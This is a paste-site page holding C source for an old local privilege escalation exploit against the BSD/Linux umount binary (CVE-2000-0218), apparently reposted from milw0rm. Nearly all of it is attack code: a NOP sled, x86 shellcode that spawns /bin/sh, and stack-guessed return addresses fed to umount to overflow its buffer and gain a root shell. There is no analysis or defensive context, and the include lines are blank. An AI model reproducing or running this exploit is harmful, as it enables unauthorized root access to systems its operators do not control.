BSD / Linux - 'umount' Local Privilege Escalation - CVE-2000-0218


SUBMITTED BY: FlyFar

DATE: May 16, 2024, 3:50 a.m.

FORMAT: C

SIZE: 1.4 kB

HITS: 451

  1. /* Reminder - Be sure to fix the includes /str0ke */
  2. -------------------------------------- linux_umount_exploit.c ----------
  3. #include
  4. #include
  5. #include
  6. #include
  7. #include
  8. #include
  9. #define PATH_MOUNT "/bin/umount"
  10. #define BUFFER_SIZE 1024
  11. #define DEFAULT_OFFSET 50
  12. u_long get_esp()
  13. {
  14. __asm__("movl %esp, %eax");
  15. }
  16. main(int argc, char **argv)
  17. {
  18. u_char execshell[] =
  19. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  20. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  21. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  22. char *buff = NULL;
  23. unsigned long *addr_ptr = NULL;
  24. char *ptr = NULL;
  25. int i;
  26. int ofs = DEFAULT_OFFSET;
  27. buff = malloc(4096);
  28. if(!buff)
  29. {
  30. printf("can't allocate memory\n");
  31. exit(0);
  32. }
  33. ptr = buff;
  34. /* fill start of buffer with nops */
  35. memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  36. ptr += BUFFER_SIZE-strlen(execshell);
  37. /* stick asm code into the buffer */
  38. for(i=0;i < strlen(execshell);i++)
  39. *(ptr++) = execshell[i];
  40. addr_ptr = (long *)ptr;
  41. for(i=0;i < (8/4);i++)
  42. *(addr_ptr++) = get_esp() + ofs;
  43. ptr = (char *)addr_ptr;
  44. *ptr = 0;
  45. (void)alarm((u_int)0);
  46. execl(PATH_MOUNT, "umount", buff, NULL);
  47. }
  48. // milw0rm.com [1996-08-13]

comments powered by Disqus